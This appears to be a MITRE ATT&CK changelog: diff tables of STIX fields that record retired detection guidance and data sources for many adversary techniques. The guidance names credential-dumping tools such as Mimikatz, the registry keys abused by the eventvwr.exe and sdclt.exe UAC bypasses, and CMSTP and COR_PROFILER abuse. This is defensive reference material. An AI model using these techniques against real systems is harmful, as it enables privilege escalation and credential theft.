|---|---|---|
| modified | 2025-04-15 21:48:39.804000+00:00 | 2025-10-24 17:48:27.259000+00:00 |
| x_mitre_detection | Detection of Endpoint DoS can sometimes be achieved before the effect is sufficient to cause significant impact to the availability of the service, but such response time typically requires very aggressive monitoring and responsiveness. Typical network throughput monitoring tools such as netflow, SNMP, and custom scripts can be used to detect sudden increases in circuit utilization.(Citation: Cisco DoSdetectNetflow) Real-time, automated, and qualitative study of the network traffic can identify a sudden surge in one type of protocol can be used to detect an attack as it starts. + +In addition to network level detections, endpoint logging and instrumentation can be useful for detection. Attacks targeting web applications may generate logs in the web server, application server, and/or database server that can be used to identify the type of attack, possibly before the impact is felt. |
Current version: 2.4
Dropped Detections (Data Components -> Technique):
New Detections (Detection Strategies -> Technique):
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | ['Network Traffic: Network Traffic Flow', 'Network Traffic: Network Traffic Content'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-15 19:58:21.401000+00:00 | 2025-10-24 17:48:38.368000+00:00 |
| x_mitre_detection | Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect application layer protocols that do not follow the expected protocol standards regarding syntax, structure, or any other variable adversaries could leverage to conceal data.(Citation: University of Birmingham C2) |
Current version: 1.1
Dropped Detections (Data Components -> Technique):
New Detections (Detection Strategies -> Technique):
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | ['File: File Modification', 'Module: Module Load', 'Windows Registry: Windows Registry Key Modification', 'Command: Command Execution', 'Process: Process Creation'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-25 14:46:29.459000+00:00 | 2025-10-24 17:48:42.703000+00:00 |
| x_mitre_detection | There are several public tools available that will detect shims that are currently available (Citation: Black Hat 2015 App Shim): + +* Shim-Process-Scanner - checks memory of every running process for any shim flags +* Shim-Detector-Lite - detects installation of custom shim databases +* Shim-Guard - monitors registry for any shim installations +* ShimScanner - forensic tool to find active shims in memory +* ShimCacheMem - Volatility plug-in that pulls shim cache from memory (note: shims are only cached after reboot) + +Monitor process execution for sdbinst.exe and command-line arguments for potential indications of application shim abuse. |
Current version: 1.3
Dropped Detections (Data Components -> Technique):
New Detections (Detection Strategies -> Technique):
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | ['Process: Process Creation', 'Command: Command Execution', 'Process: OS API Execution'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-15 21:49:50.019000+00:00 | 2025-10-24 17:48:44.488000+00:00 |
| x_mitre_detection | System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities based on the information obtained. + +Monitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001). |
Current version: 1.3
Dropped Detections (Data Components -> Technique):
New Detections (Detection Strategies -> Technique):
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | ['Application Log: Application Log Content', 'Sensor Health: Host Status', 'Network Traffic: Network Traffic Content', 'Network Traffic: Network Traffic Flow'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-15 21:50:12.334000+00:00 | 2025-10-24 17:48:34.531000+00:00 |
| x_mitre_detection | Attacks targeting web applications may generate logs in the web server, application server, and/or database server that can be used to identify the type of attack. Externally monitor the availability of services that may be targeted by an Endpoint DoS. |
Current version: 1.0
Dropped Detections (Data Components -> Technique):
New Detections (Detection Strategies -> Technique):
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | ['Command: Command Execution', 'Script: Script Execution', 'Process: Process Creation', 'File: File Creation'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-15 21:50:30.319000+00:00 | 2025-10-24 17:48:48.023000+00:00 |
| x_mitre_detection | Archival software and archived files can be detected in many ways. Common utilities that may be present on the system or brought in by an adversary may be detectable through process monitoring and monitoring for command-line arguments for known archival utilities. This may yield a significant number of benign events, depending on how systems in the environment are typically used. + +A process that loads the Windows DLL crypt32.dll may be used to perform encryption, decryption, or verification of file signatures. + +Consider detecting writing of files with extensions and/or headers associated with compressed or encrypted file types. Detection efforts may focus on follow-on exfiltration activity, where compressed or encrypted files can be detected in transit with a network intrusion detection or data loss prevention system analyzing file headers.(Citation: Wikipedia File Header Signatures) |
Current version: 1.0
Dropped Detections (Data Components -> Technique):
New Detections (Detection Strategies -> Technique):
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | ['File: File Creation', 'Script: Script Execution'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-15 21:50:49.814000+00:00 | 2025-10-24 17:48:26.190000+00:00 |
| x_mitre_detection | Custom archival methods can be very difficult to detect, since many of them use standard programming language concepts, such as bitwise operations. |
Current version: 1.0
Dropped Detections (Data Components -> Technique):
New Detections (Detection Strategies -> Technique):
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | ['Script: Script Execution', 'File: File Creation'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-15 21:51:09.003000+00:00 | 2025-10-24 17:48:42.345000+00:00 |
| x_mitre_detection | Monitor processes for accesses to known archival libraries. This may yield a significant number of benign events, depending on how systems in the environment are typically used. + +Consider detecting writing of files with extensions and/or headers associated with compressed or encrypted file types. Detection efforts may focus on follow-on exfiltration activity, where compressed or encrypted files can be detected in transit with a network intrusion detection or data loss prevention system analyzing file headers.(Citation: Wikipedia File Header Signatures) |
Current version: 1.3
Dropped Detections (Data Components -> Technique):
New Detections (Detection Strategies -> Technique):
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | ['Process: Process Creation', 'Command: Command Execution', 'File: File Creation'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-15 21:51:23.078000+00:00 | 2025-10-24 17:48:19.477000+00:00 |
| x_mitre_detection | Common utilities that may be present on the system or brought in by an adversary may be detectable through process monitoring and monitoring for command-line arguments for known archival utilities. This may yield a significant number of benign events, depending on how systems in the environment are typically used. + +Consider detecting writing of files with extensions and/or headers associated with compressed or encrypted file types. Detection efforts may focus on follow-on exfiltration activity, where compressed or encrypted files can be detected in transit with a network intrusion detection or data loss prevention system analyzing file headers.(Citation: Wikipedia File Header Signatures) |
Current version: 1.1
New Detections (Detection Strategies -> Technique):
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-15 19:58:05.447000+00:00 | 2025-10-24 17:48:23.190000+00:00 |
| x_mitre_detection | Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on behaviors relating to the potential use of generative artificial intelligence (i.e. [Phishing](https://attack.mitre.org/techniques/T1566), [Phishing for Information](https://attack.mitre.org/techniques/T1598)). |
Current version: 1.2
Dropped Detections (Data Components -> Technique):
New Detections (Detection Strategies -> Technique):
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | ['Network Traffic: Network Traffic Content'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-15 19:59:03.664000+00:00 | 2025-10-24 17:49:18.961000+00:00 |
| x_mitre_detection | SSL/TLS inspection is one way of detecting command and control traffic within some encrypted communication channels.(Citation: SANS Decrypting SSL) SSL/TLS inspection does come with certain risks that should be considered before implementing to avoid potential security issues such as incomplete certificate validation.(Citation: SEI SSL Inspection Risks) + +In general, analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used.(Citation: University of Birmingham C2) |
Current version: 1.2
Dropped Detections (Data Components -> Technique):
New Detections (Detection Strategies -> Technique):
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | ['Process: OS API Execution', 'Process: Process Access', 'Process: Process Modification'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-25 14:47:11.435000+00:00 | 2025-10-24 17:49:00.298000+00:00 |
| x_mitre_detection | Monitoring Windows API calls indicative of the various types of code injection may generate a significant amount of data and may not be directly useful for defense unless collected under specific circumstances for known bad sequences of calls, since benign use of API functions may be common and difficult to distinguish from malicious behavior. Windows API calls such as SuspendThread/SetThreadContext/ResumeThread, QueueUserAPC/NtQueueApcThread, and those that can be used to modify memory within another process, such as VirtualAllocEx/WriteProcessMemory, may be used for this technique.(Citation: Elastic Process Injection July 2017)
+
+Analyze process behavior to determine if a process is performing actions it usually does not, such as opening network connections, reading files, or other suspicious actions that could relate to post-compromise behavior. |
Current version: 2.4
Dropped Detections (Data Components -> Technique):
New Detections (Detection Strategies -> Technique):
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | ['Command: Command Execution', 'Scheduled Job: Scheduled Job Creation', 'Network Traffic: Network Traffic Flow', 'Process: Process Creation', 'File: File Modification'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-15 19:59:21.266000+00:00 | 2025-10-24 17:49:36.495000+00:00 |
| x_mitre_detection | Monitor process execution from the svchost.exe in Windows 10 and the Windows Task Scheduler taskeng.exe for older versions of Windows. (Citation: Twitter Leoloobeek Scheduled Task) If scheduled tasks are not used for persistence, then the adversary is likely to remove the task when the action is complete. Monitor Windows Task Scheduler stores in %systemroot%\System32\Tasks for change entries related to scheduled tasks that do not correlate with known software, patch cycles, etc.
+
+Configure event logging for scheduled task creation and changes by enabling the "Microsoft-Windows-TaskScheduler/Operational" setting within the event logging service. (Citation: TechNet Forum Scheduled Task Operational Setting) Several events will then be logged on scheduled task activity, including: (Citation: TechNet Scheduled Task Events)(Citation: Microsoft Scheduled Task Events Win10)
+
+* Event ID 106 on Windows 7, Server 2008 R2 - Scheduled task registered
+* Event ID 140 on Windows 7, Server 2008 R2 / 4702 on Windows 10, Server 2016 - Scheduled task updated
+* Event ID 141 on Windows 7, Server 2008 R2 / 4699 on Windows 10, Server 2016 - Scheduled task deleted
+* Event ID 4698 on Windows 10, Server 2016 - Scheduled task created
+* Event ID 4700 on Windows 10, Server 2016 - Scheduled task enabled
+* Event ID 4701 on Windows 10, Server 2016 - Scheduled task disabled
+
+Tools such as Sysinternals Autoruns may also be used to detect system changes that could be attempts at persistence, including listing current scheduled tasks. (Citation: TechNet Autoruns)
+
+Remote access tools with built-in features may interact directly with the Windows API to perform these functions outside of typical system utilities. Tasks may also be created through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001), so additional logging may need to be configured to gather the appropriate data.
+
+In Linux and macOS environments, monitor scheduled task creation using command-line invocation. Legitimate scheduled tasks may be created during installation of new software or through system administration functions. Look for changes to tasks that do not correlate with known software, patch cycles, etc.
+
+Review all jobs using the atq command and ensure IP addresses stored in the SSH_CONNECTION and SSH_CLIENT variables, machines that created the jobs, are trusted hosts. All [at](https://attack.mitre.org/software/S0110) jobs are stored in /var/spool/cron/atjobs/.(Citation: rowland linux at 2019)
+
+Suspicious program execution through scheduled tasks may show up as outlier processes that have not been seen before when compared against historical data. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as network connections made for [Command and Control](https://attack.mitre.org/tactics/TA0011), learning details about the environment through [Discovery](https://attack.mitre.org/tactics/TA0007), and [Lateral Movement](https://attack.mitre.org/tactics/TA0008). |
Current version: 1.0
Dropped Detections (Data Components -> Technique):
New Detections (Detection Strategies -> Technique):
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | ['Process: OS API Execution', 'Command: Command Execution'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-15 21:51:52.461000+00:00 | 2025-10-24 17:48:24.702000+00:00 |
| x_mitre_detection | Detection of this technique may be difficult due to the various APIs that may be used. Telemetry data regarding API use may not be useful depending on how a system is normally used, but may provide context to other potentially malicious activity occurring on a system. + +Behavior that could indicate technique use include an unknown or unusual process accessing APIs associated with devices or software that interact with the microphone, recording devices, or recording software, and a process periodically writing files to disk that contain audio data. |
Current version: 1.1
Dropped Detections (Data Components -> Technique):
New Detections (Detection Strategies -> Technique):
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | ['Command: Command Execution', 'Windows Registry: Windows Registry Key Modification', 'Module: Module Load'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-16 20:37:19.684000+00:00 | 2025-10-24 17:49:17.208000+00:00 |
| x_mitre_detection | Monitor the Registry for changes to the LSA Registry keys. Monitor the LSA process for DLL loads. Windows 8.1 and Windows Server 2012 R2 may generate events when unsigned DLLs try to load into the LSA by setting the Registry key HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\LSASS.exe with AuditLevel = 8. (Citation: Graeber 2014) (Citation: Microsoft Configure LSA) |
Current version: 1.4
Dropped Detections (Data Components -> Technique):
New Detections (Detection Strategies -> Technique):
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | ['User Account: User Account Authentication', 'Command: Command Execution', 'File: File Access', 'Script: Script Execution'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-15 19:58:18.743000+00:00 | 2025-10-24 17:48:35.995000+00:00 |
| x_mitre_detection | Depending on the method used, actions could include common file system commands and parameters on the command-line interface within batch files or scripts. A sequence of actions like this may be unusual, depending on the system and network environment. Automated collection may occur along with other techniques such as [Data Staged](https://attack.mitre.org/techniques/T1074). As such, file access monitoring that shows an unusual process performing sequential file opens and potentially copy actions to another location on the file system for many files at once may indicate automated collection behavior. Remote access tools with built-in features may interact directly with the Windows API to gather data. Data may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001), as well as through cloud APIs and command line interfaces. |
Current version: 1.3
Dropped Detections (Data Components -> Technique):
New Detections (Detection Strategies -> Technique):
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | ['Command: Command Execution', 'Network Traffic: Network Traffic Flow', 'File: File Access', 'Network Traffic: Network Connection Creation', 'Network Traffic: Network Traffic Content', 'Script: Script Execution'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-15 19:58:42.569000+00:00 | 2025-10-24 17:48:58.340000+00:00 |
| x_mitre_detection | Monitor process file access patterns and network behavior. Unrecognized processes or scripts that appear to be traversing file systems and sending network traffic may be suspicious. |
Current version: 1.5
Dropped Detections (Data Components -> Technique):
New Detections (Detection Strategies -> Technique):
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | ['Command: Command Execution', 'Network Traffic: Network Connection Creation', 'Process: Process Creation', 'Service: Service Metadata'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-16 20:37:20.513000+00:00 | 2025-10-24 17:49:22.711000+00:00 |
| x_mitre_detection | BITS runs as a service and its status can be checked with the Sc query utility (sc query bits).(Citation: Microsoft Issues with BITS July 2011) Active BITS tasks can be enumerated using the [BITSAdmin](https://attack.mitre.org/software/S0190) tool (bitsadmin /list /allusers /verbose).(Citation: Microsoft BITS)
+
+Monitor usage of the [BITSAdmin](https://attack.mitre.org/software/S0190) tool (especially the ‘Transfer’, 'Create', 'AddFile', 'SetNotifyFlags', 'SetNotifyCmdLine', 'SetMinRetryDelay', 'SetCustomHeaders', and 'Resume' command options)(Citation: Microsoft BITS) Admin logs, PowerShell logs, and the Windows Event log for BITS activity.(Citation: Elastic - Hunting for Persistence Part 1) Also consider investigating more detailed information about jobs by parsing the BITS job database.(Citation: CTU BITS Malware June 2016)
+
+Monitor and analyze network activity generated by BITS. BITS jobs use HTTP(S) and SMB for remote connections and are tethered to the creating user and will only function when that user is logged on (this rule applies even if a user attaches the job to a service account).(Citation: Microsoft BITS) |
Current version: 1.1
Dropped Detections (Data Components -> Technique):
New Detections (Detection Strategies -> Technique):
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | ['Network Traffic: Network Traffic Content', 'Network Traffic: Network Connection Creation', 'Network Traffic: Network Traffic Flow'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-25 14:47:51.598000+00:00 | 2025-10-24 17:49:18.602000+00:00 |
| x_mitre_detection | Host data that can relate unknown or suspicious process activity using a network connection is important to supplement any existing indicators of compromise based on malware command and control signatures and infrastructure or the presence of strong encryption. Packet capture analysis will require SSL/TLS inspection if data is encrypted. Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). User behavior monitoring may help to detect abnormal patterns of activity.(Citation: University of Birmingham C2) |
Current version: 1.3
Dropped Detections (Data Components -> Technique):
New Detections (Detection Strategies -> Technique):
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | ['File: File Metadata'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-25 14:46:48.991000+00:00 | 2025-10-24 17:48:50.205000+00:00 |
| x_mitre_detection | Depending on the method used to pad files, a file-based signature may be capable of detecting padding using a scanning or on-access based tool. When executed, the resulting process from padded files may also exhibit other behavior characteristics of being used to conduct an intrusion such as system and network information Discovery or Lateral Movement, which could be used as event indicators that point to the source file. |
Current version: 1.3
Dropped Detections (Data Components -> Technique):
New Detections (Detection Strategies -> Technique):
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | ['Process: OS API Execution', 'Module: Module Load', 'Command: Command Execution', 'File: File Creation', 'Windows Registry: Windows Registry Key Creation', 'Windows Registry: Windows Registry Key Modification', 'File: File Modification', 'Kernel: Kernel Module Load', 'Process: Process Creation', 'Driver: Driver Load'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-15 19:58:12.270000+00:00 | 2025-10-24 17:48:29.846000+00:00 |
| x_mitre_detection | Monitor for additions or modifications of mechanisms that could be used to trigger autostart execution, such as relevant additions to the Registry. Look for changes that are not correlated with known updates, patches, or other planned administrative activity. Tools such as Sysinternals Autoruns may also be used to detect system autostart configuration changes that could be attempts at persistence.(Citation: TechNet Autoruns) Changes to some autostart configuration settings may happen under normal conditions when legitimate software is installed. + +Suspicious program execution as autostart programs may show up as outlier processes that have not been seen before when compared against historical data.To increase confidence of malicious activity, data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as network connections made for Command and Control, learning details about the environment through Discovery, and Lateral Movement. + +Monitor DLL loads by processes, specifically looking for DLLs that are not recognized or not normally loaded into a process. Look for abnormal process behavior that may be due to a process loading a malicious DLL. + +Monitor for abnormal usage of utilities and command-line parameters involved in kernel modification or driver installation. |
Current version: 2.4
Dropped Detections (Data Components -> Technique):
New Detections (Detection Strategies -> Technique):
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | ['File: File Modification', 'Windows Registry: Windows Registry Key Creation', 'Command: Command Execution', 'File: File Creation', 'Process: Process Creation', 'Active Directory: Active Directory Object Modification'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-15 19:58:02.121000+00:00 | 2025-10-24 17:48:20.077000+00:00 |
| x_mitre_detection | Monitor logon scripts for unusual access by abnormal users or at abnormal times. Look for files added or modified by unusual accounts outside of normal administration duties. Monitor running process for actions that could be indicative of abnormal programs or executables running upon logon. |
Current version: 1.2
Dropped Detections (Data Components -> Technique):
New Detections (Detection Strategies -> Technique):
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | ['File: File Creation', 'Drive: Drive Modification', 'File: File Modification'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-15 19:58:10.739000+00:00 | 2025-10-24 17:48:28.341000+00:00 |
| x_mitre_detection | Perform integrity checking on MBR and VBR. Take snapshots of MBR and VBR and compare against known good samples. Report changes to MBR and VBR as they occur for indicators of suspicious activity and further analysis. |
Current version: 1.0
New Detections (Detection Strategies -> Technique):
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-16 13:38:12.734000+00:00 | 2025-10-24 17:49:02.197000+00:00 |
| x_mitre_detection | Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on related stages of the adversary lifecycle, such as during [Phishing](https://attack.mitre.org/techniques/T1566), [Endpoint Denial of Service](https://attack.mitre.org/techniques/T1499), or [Network Denial of Service](https://attack.mitre.org/techniques/T1498). |
Current version: 2.0
Dropped Detections (Data Components -> Technique):
New Detections (Detection Strategies -> Technique):
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | ['Process: Process Creation', 'Command: Command Execution', 'File: File Access'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-15 21:54:16.719000+00:00 | 2025-10-24 17:48:50.561000+00:00 |
| x_mitre_detection | Monitor processes and command-line arguments for actions that could be taken to gather browser bookmark information. Remote access tools with built-in features may interact directly using APIs to gather information. Information may also be acquired through system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001). + +System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Collection and Exfiltration, based on the information obtained. |
Current version: 2.1
Dropped Detections (Data Components -> Technique):
New Detections (Detection Strategies -> Technique):
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | ['Process: Process Modification', 'Process: Process Access', 'Logon Session: Logon Session Creation'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-25 15:15:33.428000+00:00 | 2025-10-24 17:48:48.383000+00:00 |
| x_mitre_detection | This may be a difficult technique to detect because adversary traffic may be masked by normal user traffic. New processes may not be created and no additional software dropped to disk. Authentication logs can be used to audit logins to specific web applications, but determining malicious logins versus benign logins may be difficult if activity matches typical user behavior. Monitor for [Process Injection](https://attack.mitre.org/techniques/T1055) against browser applications. |
Current version: 1.3
Dropped Detections (Data Components -> Technique):
New Detections (Detection Strategies -> Technique):
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | ['Image: Image Creation', 'Network Traffic: Network Traffic Content', 'Network Traffic: Network Connection Creation', 'Network Traffic: Network Traffic Flow'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-15 21:54:42.589000+00:00 | 2025-10-24 17:49:01.646000+00:00 |
| x_mitre_detection | Monitor for unexpected Docker image build requests to the Docker daemon on hosts in the environment. Additionally monitor for subsequent network communication with anomalous IPs that have never been seen before in the environment that indicate the download of malicious code. |
Current version: 1.0
New Detections (Detection Strategies -> Technique):
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-15 21:54:59.306000+00:00 | 2025-10-24 17:48:55.897000+00:00 |
| x_mitre_detection | Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders. + +Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access. |
Current version: 2.2
Dropped Detections (Data Components -> Technique):
New Detections (Detection Strategies -> Technique):
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | ['Windows Registry: Windows Registry Key Modification', 'Command: Command Execution', 'Process: Process Creation', 'Process: Process Metadata'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-16 20:37:15.662000+00:00 | 2025-10-24 17:48:25.823000+00:00 |
| x_mitre_detection | There are many ways to perform UAC bypasses when a user is in the local administrator group on a system, so it may be difficult to target detection on all variations. Efforts should likely be placed on mitigation and collecting enough information on process launches and actions that could be performed before and after a UAC bypass is performed. Monitor process API calls for behavior that may be indicative of [Process Injection](https://attack.mitre.org/techniques/T1055) and unusual loaded DLLs through [DLL](https://attack.mitre.org/techniques/T1574/001), which indicate attempts to gain access to higher privileged processes.
+
+Some UAC bypass methods rely on modifying specific, user-accessible Registry settings. For example:
+
+* The eventvwr.exe bypass uses the [HKEY_CURRENT_USER]\Software\Classes\mscfile\shell\open\command Registry key.(Citation: enigma0x3 Fileless UAC Bypass)
+
+* The sdclt.exe bypass uses the [HKEY_CURRENT_USER]\Software\Microsoft\Windows\CurrentVersion\App Paths\control.exe and [HKEY_CURRENT_USER]\Software\Classes\exefile\shell\runas\command\isolatedCommand Registry keys.(Citation: enigma0x3 sdclt app paths)(Citation: enigma0x3 sdclt bypass)
+
+Analysts should monitor these Registry settings for unauthorized changes. |
Current version: 1.0
New Detections (Detection Strategies -> Technique):
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-15 21:55:21.053000+00:00 | 2025-10-24 17:49:06.210000+00:00 |
| x_mitre_detection | Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders. + +Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access. |
Current version: 2.2
Dropped Detections (Data Components -> Technique):
New Detections (Detection Strategies -> Technique):
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | ['Network Traffic: Network Connection Creation', 'Command: Command Execution', 'Process: Process Creation'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-15 19:58:29.296000+00:00 | 2025-10-24 17:48:45.149000+00:00 |
| x_mitre_detection | Use process monitoring to detect and analyze the execution and arguments of CMSTP.exe. Compare recent invocations of CMSTP.exe with prior history of known good arguments and loaded files to determine anomalous and potentially adversarial activity. + +Sysmon events can also be used to identify potential abuses of CMSTP.exe. Detection strategy may depend on the specific adversary procedure, but potential rules include: (Citation: Endurant CMSTP July 2018) + +* To detect loading and execution of local/remote payloads - Event 1 (Process creation) where ParentImage contains CMSTP.exe and/or Event 3 (Network connection) where Image contains CMSTP.exe and DestinationIP is external. +* To detect [Bypass User Account Control](https://attack.mitre.org/techniques/T1548/002) via an auto-elevated COM interface - Event 10 (ProcessAccess) where CallTrace contains CMLUA.dll and/or Event 12 or 13 (RegistryEvent) where TargetObject contains CMMGR32.exe. Also monitor for events, such as the creation of processes (Sysmon Event 1), that involve auto-elevated CMSTP COM interfaces such as CMSTPLUA (3E5FC7F9-9A51-4367-9063-A120244FBEC7) and CMLUAUTIL (3E000D72-A845-4CD9-BD83-80C07C3B881F). |
Current version: 1.1
Dropped Detections (Data Components -> Technique):
New Detections (Detection Strategies -> Technique):
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | ['Process: Process Creation', 'Windows Registry: Windows Registry Key Modification', 'Module: Module Load', 'Command: Command Execution'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-25 14:48:41.257000+00:00 | 2025-10-24 17:49:40.510000+00:00 |
| x_mitre_detection | For detecting system and user scope abuse of the COR_PROFILER, monitor the Registry for changes to COR_ENABLE_PROFILING, COR_PROFILER, and COR_PROFILER_PATH that correspond to system and user environment variables that do not correlate to known developer tools. Extra scrutiny should be placed on suspicious modification of these Registry keys by command line tools like wmic.exe, setx.exe, and [Reg](https://attack.mitre.org/software/S0075), monitoring for command-line arguments indicating a change to COR_PROFILER variables may aid in detection. For system, user, and process scope abuse of the COR_PROFILER, monitor for new suspicious unmanaged profiling DLLs loading into .NET processes shortly after the CLR causing abnormal process behavior.(Citation: Red Canary COR_PROFILER May 2020) Consider monitoring for DLL files that are associated with COR_PROFILER environment variables. |
Current version: 1.1
Dropped Detections (Data Components -> Technique):
New Detections (Detection Strategies -> Technique):
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | ['Command: Command Execution'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-15 21:55:45.923000+00:00 | 2025-10-24 17:48:54.919000+00:00 |
| x_mitre_detection | Monitor processes and command-line arguments for program execution that may be indicative of credential dumping. Remote access tools may contain built-in features or incorporate existing tools like Mimikatz. PowerShell scripts also exist that contain credential dumping functionality, such as PowerSploit's Invoke-Mimikatz module,(Citation: Powersploit) which may require additional logging features to be configured in the operating system to collect necessary information for analysis. + +Detection of compromised [Valid Accounts](https://attack.mitre.org/techniques/T1078) in-use by adversaries may help as well. |
Current version: 1.1
Dropped Detections (Data Components -> Technique):
New Detections (Detection Strategies -> Technique):
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | ['Process: Process Creation', 'Command: Command Execution', 'Windows Registry: Windows Registry Key Modification'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-15 19:58:52.605000+00:00 | 2025-10-24 17:49:07.854000+00:00 |
| x_mitre_detection | Collect and analyze changes to Registry keys that associate file extensions to default applications for execution and correlate with unknown process launch activity or unusual file types for that process.
+
+User file association preferences are stored under [HKEY_CURRENT_USER]\Software\Microsoft\Windows\CurrentVersion\Explorer\FileExts and override associations configured under [HKEY_CLASSES_ROOT]. Changes to a user's preference will occur under this entry's subkeys.
+
+Also look for abnormal process call trees for execution of other commands that could relate to Discovery actions or other techniques. |
Current version: 1.6
Dropped Detections (Data Components -> Technique):
New Detections (Detection Strategies -> Technique):
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | ['Process: Process Creation', 'File: File Deletion', 'File: File Modification', 'Command: Command Execution', 'User Account: User Account Authentication'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-15 19:58:23.774000+00:00 | 2025-10-24 17:48:40.313000+00:00 |
| x_mitre_detection | User authentication, especially via remote terminal services like SSH, without new entries in that user's ~/.bash_history is suspicious. Additionally, the removal/clearing of the ~/.bash_history file can be an indicator of suspicious activity.
+
+Monitor for suspicious modifications or deletion of ConsoleHost_history.txt and use of the Clear-History command. |
Current version: 1.0
Dropped Detections (Data Components -> Technique):
New Detections (Detection Strategies -> Technique):
